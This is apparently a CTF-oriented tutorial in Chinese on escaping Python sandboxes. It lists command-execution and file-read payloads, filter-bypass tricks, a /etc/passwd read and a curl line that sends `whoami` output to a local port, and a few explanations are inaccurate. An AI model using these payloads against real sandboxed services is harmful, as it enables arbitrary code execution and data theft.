Python 沙箱逃逸方式及绕过方法整理

Python 沙箱逃逸方式及绕过方法整理

耀鳞光翼 Lv3

概述及原理

沙箱是一种安全机制,用于在受限制的环境中运行未信任的程序或代码。它的主要目的是防止这些程序或代码影响宿主系统或者访问非授权的数据。

在Python中,沙箱的实现可以用多种方式,例如使用python内置功能(如re模块),使用特殊的python解释器(如PyPy),或使用第三方库(如RestrictedPython)。

但Python的标准库和语言特性提供了许多可以用于逃逸沙箱的方法,因此在实践中创建一个完全安全的Python沙箱是十分困难的。

简单来说,python沙盒逃逸其实就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。(有点类似于SQL注入,执行本不该被执行的命令)

[!NOTE]

查看目标主机是否是docker相关命令:

cat /proc/self/cgroup

mount -v

任意命令执行

函数和模块:

  1. import函数:

    1
    __import__('os').system('dir')
  2. OS模块:

    1
    2
    3
    4
    5
    import os

    os.system("/bin/sh")

    os.popen("/bin/sh")

    利用方式:

    1
    2
    3
    4
    >>> import os
    >>> os.system("/bin/sh")
    $ cat /flag
    flag{xxxxxxxxxxx}
  3. exec & eval函数:

    两个执行函数:

    1
    2
    3
    eval('__import__("os").system("dir")')

    exec('__import__("os").system("dir")')

    利用方式:

    1
    2
    3
    >>> eval('__import__("os").system("/bin/sh")')
    $ cat /flag
    flag{xxxxxxxxxxx}
  4. execfile函数:

    这个函数主要用来执行特定文件,引入模块来执行命令(注意:该函数在python3中已经被删除)

    1
    2
    import timeit
    timeit.timeit('__import__("os").system("dir")',number=1)

    利用方式:

    1
    2
    3
    4
    >>> import timeit
    >>> timeit.timeit('__import__("os").system("sh")',number=1)
    $ cat /flag
    flag{xxxxxxxxxxx}
  5. platform模块:

    platform模块提供了很多方法去获取操作系统的信息,popen函数就可以执行命令

    1
    2
    import platform 
    print platform.popen('dir').read()

    利用方式:

    1
    2
    3
    >>> import platform 
    >>> print platform.popen('dir').read()
    jail.py
  6. commands模块:

    可以执行命令,但不一定能拿到shell。(注意:该函数在python3中已经被删除)

    1
    2
    3
    import commands
    print commands.getoutput("dir")
    print commands.getstatusoutput("dir")

    利用方式:

    1
    2
    3
    4
    5
    6
    >>> import commands
    >>> print commands.getoutput("dir")
    flag jail.py
    >>> print commands.getstatusoutput("dir")
    (0, 'flag jail.py')

  7. subprocess模块:

    shell=True命令本身被bash启动,支持shell启动,否则不支持

    1
    2
    import subprocess
    subprocess.call(['ls'],shell=True)

    利用方式:

    1
    2
    3
    >>> import subprocess
    >>> subprocess.call(['ls'],shell=True)
    flag jail.py
  8. compile函数:

    compile() 函数将一个字符串编译为字节代码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    compile(source, filename, mode[, flags[, dont_inherit]])

    source -- 字符串或者AST(Abstract Syntax Trees)对象。

    filename -- 代码文件名称,如果不是从文件读取代码则传递一些可辨认的值。

    mode -- 指定编译代码的种类。可以指定为 exec, eval, single。

    flags -- 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。

    flags和dont_inherit是用来控制编译源码时的标志

    使用样例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    command_str = '__import__("os").system("cmd /c calc.exe")'
    c_str = compile(command_str,"","exec")
    print(c_str)
    exec(c_str)



    <code object <module> at 0x000001CC620A1D20, file "", line 1>
    弹出计算器
  9. f修饰符

    python3.6新特性,用f/F修饰的字符串可以执行代码

    1
    f'{__import__("os").system("ls")}'
  10. sys模块

    sys模块可用于在python内部查看python的版本号,方便了解不同版本的特性,使用不同的逃逸方法

    1
    2
    3
    4
    >>> import sys
    >>> print sys.version
    2.7.12 (default, Nov 12 2018, 14:36:49)
    [GCC 5.4.0 20160609]

文件操作

  1. file函数(注意:该函数在新版python中已不再支持)

    1
    file('flag.txt').read()
  2. open函数:

    1
    open('flag.txt').read()
  3. codecs模块

    1
    2
    import codecs
    codecs.open('flag.txt').read()
  4. Filetype 函数 from types 模块(注意:该函数在python3中已不再支持)

    该模块可以用于读取文件

    1
    2
    import types
    print types.FileType("flag").read()

    利用方式:

    1
    2
    3
    >>> import types
    >>> print types.FileType("flag").read()
    flag_here

上述方法相关绕过检查方式

  1. import/os方式引入

    • import函数

      import函数本身用于动态引入模块,比如import module

      (注意:直接对字符串进行decode并用rot_13编码是python2的操作,python3已经不支持直接对字符串decode)

      1
      2
      a = __import__("bf".decode('rot_13'))       //os 
      a.system('sh')
    • importlib库

      1
      2
      3
      import importlib
      a = importlib.import_module("bf".decode('rot_13')) //os
      a.system('sh')
    • builtins函数

      这个是python内置函数库,其中又包含了许多函数,该库自动引入,不需要单独引入,可以利用这一点寻找没有被禁用的函数。

      先查看builtins函数库内置函数:

      1
      2
      3
      print(dir(__builtins__))

      ['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

      热知识:一个模块对象有一个由字典对象实现的命名空间,属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”],我们就可以用一些编码来绕过字符明文检测。

      基于此,就可以利用:

      (注意:直接对字符串进行decode并用rot_13编码是python2的操作,python3已经不支持直接对字符串decode)

      1
      2
      3
      4
      5
      __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('sh')   

      等同于
      __builtins__.__dict__[_import__]('os').system('sh')

    • 路径引入os等模块

      一般都是禁止引入敏感包,当禁用os时,实际上就是 sys.modules[‘os’]=None

      但一般的类linux系统的python os路径都是/usr/lib/python2.7/os.py ,所以可以通过路径引入

      1
      2
      3
      4
      5
      6
      7
      8
      9
      import sys
      sys.modules['os']='/usr/lib/python2.7/os.py'

      python3引入
      with open('/usr/lib/python3.6/os.py','r') as f:
      exec(f.read())

      system('ls')

    • reload

      禁止引用某些函数时,可能会删除掉一些函数的引用,比如:

      1
      del __builtins__.__dict__['__import__']

      这样便无法引入,但可以使用reload(builtins)重载builtins来恢复内置函数

      1
      2
      3
      import __builtins__
      import imp
      imp.reload(__builtin__)

      不过reload本身也是builtins库函数的之一,其本身也可能会被禁用

    • 函数名字符串扫描过滤的绕过

      假如沙箱本身不是通过对包的限制,而是扫描函数字符串,关键码等等来过滤的;而关键字和函数没有办法直接用字符串相关的编码或解密操作

      便可以考虑使用getattr__getattribute__

      1
      2
      3
      4
      5
      6
      7
      8
      getattr(__import__("os"),"flfgrz".encode("rot13"))('ls')

      getattr(__import__("os"),"metsys"[::-1])('ls')

      __import__("os").__getattribute__("metsys"[::-1])('ls')

      __import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')


  2. 绕过删除模块或方法:

    在某些沙箱中,可能会对某些模块或方法使用 del 关键字进行删除。 例如删除 builtins 模块的 eval 方法。

    以下是一个删除示例操作:

    1
    2
    3
    4
    5
    6
    7
    >>> __builtins__.__dict__['eval']
    <built-in function eval>
    >>> del __builtins__.__dict__['eval']
    >>> __builtins__.__dict__['eval']
    Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
    KeyError: 'eval'

    这里可以看到,第二次查看builtins库函数内时,已经没有eval函数了

    • reload

      正如上文提到的,使用reload函数可以重载模块

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      >>> __builtins__.__dict__['eval']
      <built-in function eval>
      >>> del __builtins__.__dict__['eval']
      >>> __builtins__.__dict__['eval']
      Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      KeyError: 'eval'
      >>> reload(__builtins__)
      <module '__builtin__' (built-in)>
      >>> __builtins__.__dict__['eval']
      <built-in function eval>

      在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块。

    • 恢复 sys.modules

      一些过滤中可能将 sys.modules['os'] 进行修改,这个时候即使将 os 模块导入进来,也是无法使用的。

      例如:

      1
      2
      3
      4
      5
      >>> sys.modules['os'] = 'not allowed'
      >>> __import__('os').system('ls')
      Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      AttributeError: 'str' object has no attribute 'system'

      这里直接篡改了sys.modules['os']返回的结果,但这样做会导致其他使用了OS的函数受到影响。

      当遇到上述情况的时候,可以直接将os模块删除,触发import导入模块时的自动检查机制,若检查发现没有这个模块,便会重新加载

      1
      2
      3
      4
      5
      sys.modules['os'] = 'not allowed'

      del sys.modules['os']
      import os
      os.system('ls')
    • 使用继承来获取

      若清空了 __builtins__,我们也可以通过subclasses 来找到它的内部函数。

      1
      2
      3
      # 根据环境找到 bytes 的索引,此处为 5
      >>> ().__class__.__base__.__subclasses__()[5]
      <class 'bytes'>

      (PS:感觉这个比较复杂,没看太懂)


  3. object命令引入执行

    object类种也集成了许多函数,可以拿来调用

    • 字符串对象

      1
      2
      >>> ().__class__.__bases__
      (<type 'object'>,)

      通过bases方法可以获取到上一层继承关系

      1
      2
      >>> ().__class__.__bases__[0]
      (<type 'object'>,)
    • 通过mro方法获取继承关系

      创建object对象方法:

      1
      2
      3
      4
      5
      6
      >>> "".__class__.__mro__
      (<type 'str'>, <type 'basestring'>, <type 'object'>)

      >>> "".__class__.__mro__[2]
      <type 'object'>

      在获取之后,返回的是一个元组,通过下标+subclasses的方法可以获取所有子类的列表。而subclasses()第40个是file类型的object。(适用于python2)

      1
      2
      3
      4
      5
      >>> ().__class__.__bases__[0].__subclasses__()[40]
      <type 'file'>
      >>> "".__class__.__mro__[2].__subclasses__()[40]
      <type 'file'>

      获得对象后,便可以操作对象读写文件或者执行命令:(以下代码仅适用于python2)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      读文件:
      ().__class__.__bases__[0].__subclasses__()[40]("jail.py").read()
      "".__class__.__mro__[2].__subclasses__()[40]("jail.py").read()

      同时写文件或执行任意命令:
      ().__class__.__bases__[0].__subclasses__()[40]("jail.py","w").write("1111")


      ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("jail.py").read()' )


      可以执行命令寻找subclasses下引入过os模块的模块
      >>> [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']
      <module 'os' from '/usr/lib/python2.7/os.pyc'>
      >>> [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
      <module 'os' from '/usr/lib/python2.7/os.pyc'>
      >>> "".__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
      <module 'os' from '/usr/lib/python2.7/os.pyc'>


  4. 字符串被过滤的绕过:

    • 字符串拼接

      例如过滤了关键字os,则:

      1
      2
      3
      4
      5
      a = 'o'
      b = 's'
      __import__(a+b).system('ls')

      __import__('so'[::-1]).system('ls')
    • base64转换

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      python2方式:

      >>> import base64
      >>> base64.b64encode('__import__')
      'X19pbXBvcnRfXw=='
      >>> base64.b64encode('os')
      'b3M='
      >>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')
      app.py jail.py

      python3方式:

      import base64
      print(base64.b64encode('__import__'.encode('utf-8')))

      print(base64.b64encode('os'.encode('utf-8')))

      __builtins__.__dict__[base64.b64decode('X19pbXBvcnRfXw==').decode('utf-8')](base64.b64decode('b3M=').decode('utf-8')).system('dir')
    • 逆序:

      也可以看作使用evalexec函数:

      1
      2
      3
      4
      5
      >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
      root
      >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
      root

    • 进制转换:

      八进制:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      exec("__import__('os').system('ls')")
      exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

      # 生成代码如下:
      str1 = "__import__('os').system('ls')"
      code ="\\"
      # 将字符串编码为字节,然后将每个字节转换为八进制表示
      for i in str1.encode('utf-8'):
      code += f'{i:o}'+ "\\"

      code = code.rstrip('\\')
      print(code)

      十六进制:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") 

      # 十六进生成代码如下:
      str2 = "__import__('os').system('dir')"
      code2 ="\\"
      # 将字符串编码为字节,然后将每个字节转换为十六进制表示
      for j in str2.encode('utf-8'):
      code2 += f'x{j:x}'+ "\\"
      code2 = code2.rstrip('\\')
      print(code2)
    • 类似的其他编码转换

      如rot13,base32等等


  5. 特殊字符过滤绕过:

    • []过滤:

      []被过滤,可以使用:

      1. 调用__getitem__()函数直接进行替换
      2. 调用pop()函数(该函数可以移除列表中的最后一个元素,并返回该元素内容)替换:

      样例:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      ''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

      # __getitem__()替换中括号[]
      ''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')

      # pop()替换中括号[],结合__getitem__()利用
      ''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')

      getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')

    • ''过滤:

      1. str函数:

        当引号被过滤时,也就说明构造字符串受到影响,这时便可以使用str函数逐字取,直到取到想要的字符串

        1
        2
        3
        4
        5
        6
        7
        8
        9
        >>> ().__class__.__new__
        <built-in method __new__ of type object at 0x9597e0>
        >>> str(().__class__.__new__)
        '<built-in method __new__ of type object at 0x9597e0>'
        >>> str(().__class__.__new__)[21]
        'w'
        >>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
        'whoami'

      2. chr函数

        也可以用chr函数配合ASCII码来构造字符串

        1
        2
        3
        4
        5
        6
        7
        >>> chr(56)
        '8'
        >>> chr(100)
        'd'
        >>> chr(100)*40
        'dddddddddddddddddddddddddddddddddddddddd'

      3. list+dict函数组合使用

        使用这两个函数把变量名转换为字符串,但这种方式不能用于字符串中间存在空格

        1
        2
        3
        >>> print(list(dict(whoami=1)))

        whoami
      4. __doc__函数

        __doc__函数可以获取到类的说明信息,然后就可以从其中取字符组成我们想要的字符串

        1
        2
        3
        4
        5
        6
        >>> ().__doc__.find('s')
        19
        >>> ().__doc__.find('y')
        86
        >>> ().__doc__[19]+().__doc__[86]+().__doc__[19]
        'sys'
      5. bytes函数

        bytes函数可以接收一个ascii列表,然后转为字节流,最后进行decode就可以还原为字符串

        1
        2
        >>> bytes([115, 121, 115, 116, 101, 109]).decode() 
        'system'
    • +过滤:

      过滤+主要影响字符串的拼接,若在此基础上还同时过滤了引号,构造字符串便可以使用join函数,配合上面的__doc__寻找所需的字符,最终拼接成命令

      1
      2
      >>> str().join([().__doc__[19],().__doc__[86],().__doc__[19]])
      'sys'
    • 数字过滤:

      若过滤了特定数字,可以使用某些函数的返回值来获取

      例如:

      0:int(bool([]))Flaselen([])

      1:int(bool([""]))Trueint(list(list(dict(a၁=())).pop()).pop())

      有了0/1后,其他数字便可以通过运算获取:

      1
      2
      3
      4
      5
      0 ** 0 == 1 
      1 + 1 == 2
      2 + 1 == 3
      2 ** 2 == 4

      此外,也可以通过repr函数直接获取一些比较长的字符串,然后再用len函数获取长度值,取得较大的数字:

      1
      2
      3
      4
      >>> len(repr(True))
      4
      >>> len(repr(bytearray))
      19

      若不能出现运算符,还可以使用len + dict + list组合方式构造:

      1
      2
      3
      4
      0 -> len([])
      2 -> len(list(dict(aa=()))[len([])])
      3 -> len(list(dict(aaa=()))[len([])])

      还可以使用unicode绕过(后续介绍)

    • 过滤空格

      可以用[]()来替换

    • 过滤运算符

      ==可以用in 替换

      or可以用+-|替换

      例如:

      1
      2
      3
      4
      5
      6
      for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
      ans = i[0]==i[1] or i[2]==i[3]
      print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
      print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
      print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

      and 可以用&*替代

      1
      2
      3
      4
      5
      for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
      ans = i[0]==i[1] and i[2]==i[3]
      print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
      print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

    • ()过滤:

      1. 使用装饰器@
      2. 使用魔术方法:enum.EnumMeta.__getitem__
    • f字符串执行:

      python3.6新特性,用f/F修饰的字符串可以执行代码

      1
      f'{__import__("os").system("ls")}'
    • 内建函数过滤:

      eval + list + dict 构造:

      当我们在构造payload的时候,若需要使用一些例如str函数,bool函数等等函数,但又被禁用的时候,则可以利用eval()函数,向其传递同名字符串,便可以被执行

      1
      2
      3
      4
      5
      6
      7
      >>> eval('str')
      <class 'str'>
      >>> eval('bool')
      <class 'bool'>
      >>> eval('st'+'r')
      <class 'str'>

      这样可以将函数名转化为字符串,进而可以利用字符串的变换来进行绕过。

      1
      2
      3
      >>> eval(list(dict(s_t_r=1))[0][::2])
      <class 'str'>

      这样操作,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数。如果某个模块已经被导入了,则也可以获取这个模块中的函数。

    • .,过滤:

      通常情况下,我们会通过点号来进行调用__import__('binascii').a2b_base64

      或者通过 getattr 函数:getattr(__import__('binascii'),'a2b_base64')

      但碰到这种过滤时,可以使用以下方式绕过:

      1. 内建函数可以使用eval(list(dict(s_t_r=1))[0][::2]) 这样的方式获取。

      2. 模块内的函数可以先使用__import__导入函数,然后使用 vars() j进行获取:

        1
        2
        3
        >>> vars(__import__('binascii'))['a2b_base64']
        <built-in function a2b_base64>

    • Unicode绕过

      Python 3 开始支持非ASCII字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

      样例:

      1
      2
      3
      >>> eval == 𝘦val
      True

      相似 unicode 寻找网站:http://shapecatcher.com/ 可以通过绘制的方式寻找相似字符

      大佬的相似Unicode枚举脚本:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      for i in range(128,65537):
      tmp=chr(i)
      try:
      res = tmp.encode('idna').decode('utf-8')
      if("-") in res:
      continue
      print("U:{} A:{} ascii:{} ".format(tmp, res, i))
      except:
      pass

      一些相似Unicode样例:

      0-9,a-z 的 unicode 字符:

      𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻 𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡

      下划线可以使用对应的全角字符进行替换:_

      但使用时注意第一个字符不能为全角,否则会报错

      需要注意的是,某些 unicode 在遇到 lower() 函数时也会发生变换,因此碰到 lower()、upper() 这样的函数时要格外注意。


  6. 绕过命名空间限制

    • 部分限制

    有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。下面的例子来源于 iscc_2016_pycalc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    def _hook_import_(name, *args, **kwargs):
    module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
    'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
    'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
    'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
    'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
    'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
    'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
    'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
    'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
    'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
    'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
    'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
    'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
    for forbid in module_blacklist:
    if name == forbid: # don't let user import these modules
    raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)

    def sandbox_exec(command): # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_ # hook import
    del __sandboxed_builtins__['open']
    _global = {
    '__builtins__': __sandboxed_builtins__
    }

    ...
    exec command in _global # do calculate in a sandboxed
    ...

    1. 沙箱首先获取__builtins__,然后根据现有的__builtins__来构建命名空间
    2. 接着修改__import__函数为自定义的_hook_import_,并对引入函数进行检查,在黑名单里的不允许调用
    3. 删除open函数防止文件调用
    4. exec命令执行

    绕过方式:

    ​ 因为exec是运行在特定的命令空间里,可以通过获取其他命名空间的__builtins__(此时的函数保存的内容就是原始未修改的),例如bytes库:

    1
    2
    1 2 __import__('types').__builtins__ __import__('string').__builtins__ 

    • 全限制

      若沙箱完全清空了所有 __builtins__函数库内的函数,这样便无法使用import导入了,例如下面的样例所示

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      >>> eval("__import__", {"__builtins__": {}},{"__builtins__": {}})
      Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "<string>", line 1, in <module>
      NameError: name '__import__' is not defined
      >>> eval("__import__")
      <built-in function __import__>

      >>> exec("import os")
      >>> exec("import os",{"__builtins__": {}},{"__builtins__": {}})
      Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
      File "<string>", line 1, in <module>
      ImportError: __import__ not found

      针对这种情况,就需要使用python继承方式来说绕过,通过继承链获取到内置类,然后在用内置类来执行一些敏感的方法进行调用

      常见的RCE Payload:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      # os
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

      # subprocess
      [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

      # builtins
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

      # help
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

      #sys
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

      #commands (not very common)
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

      #pty (not very common)
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

      #importlib
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

      #imp
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

      #pdb
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

      # ctypes
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

      # multiprocessing
      [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()

      常见的file payload:

      1
      2
      3
      4
      # 操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。

      [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

  7. 绕过多行限制:

    多行绕过主要集中在限制了单行代码的情况下,或者换行会报错:

    1
    2
    3
    4
    5
    6
    >>> eval("__import__('os');print(1)")
    Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
    File "<string>", line 1
    __import__('os');print(1)

    • exec

      该函数支持换行符和 ;

      1
      2
      >>> eval("exec('__import__(\"os\")\\nprint(1)')")
      1
    • compile

      compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码

      1
      2
      eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')

    • 海象表达式:

      海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。

      海象表达式的语法形式如下:

      1
      <expression> := <value> if <condition> else <value>

      借此特性,我们可以通过列表来代替多行代码:

      1
      2
      3
      4
      >>> eval('[a:=__import__("os"),b:=a.system("id")]')
      uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
      [<module 'os' (frozen)>, 0]


    [!NOTE]

    这部分本人也没看太明白,目前这方面的题也几乎没有接触,先把大佬的文章搬过来,以后若碰到了,再仔细观摩学习

  8. 绕过长度限制:

    在下面这道题中,对 payload 的长度作了限制

    1
    2
    eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

